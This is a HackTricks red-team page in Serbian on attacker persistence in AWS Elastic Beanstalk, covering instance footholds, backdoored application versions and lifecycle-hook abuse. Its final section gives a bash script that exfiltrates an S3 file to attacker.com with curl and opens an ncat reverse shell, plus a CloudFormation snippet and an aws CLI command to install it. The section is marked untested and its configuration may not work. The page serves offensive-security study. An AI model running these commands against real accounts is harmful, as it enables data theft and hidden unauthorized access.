AWS - Elastic Beanstalk Persistence

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Elastic Beanstalk

Za više informacija pogledajte:

AWS - Elastic Beanstalk Enum

Persistencija na Instanci

Da bi održao persistenciju unutar AWS naloga, neki mehanizam persistencije bi mogao biti uveden unutar instance (cron posao, ssh ključ...) tako da će napadač biti u mogućnosti da pristupi tome i ukrade IAM ulogu kredencijale iz metadata servisa.

Zadnja vrata u Verziji

Napadač bi mogao postaviti zadnja vrata u kodu unutar S3 repozitorijuma tako da uvek izvršava svoja zadnja vrata umesto očekivanog koda.

Nova verzija sa zadnjim vratima

Umesto menjanja koda na trenutnoj verziji, napadač bi mogao implementirati novu verziju aplikacije sa zadnjim vratima.

Zloupotreba Custom Resurs Lifecycle Hook-ova

TODO: Test

Elastic Beanstalk pruža lifecycle hook-ove koji vam omogućavaju da pokrenete prilagođene skripte tokom kreiranja i gašenja instance. Napadač bi mogao konfigurisati lifecycle hook da periodično izvršava skriptu koja eksfiltrira podatke ili održava pristup AWS nalogu.

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated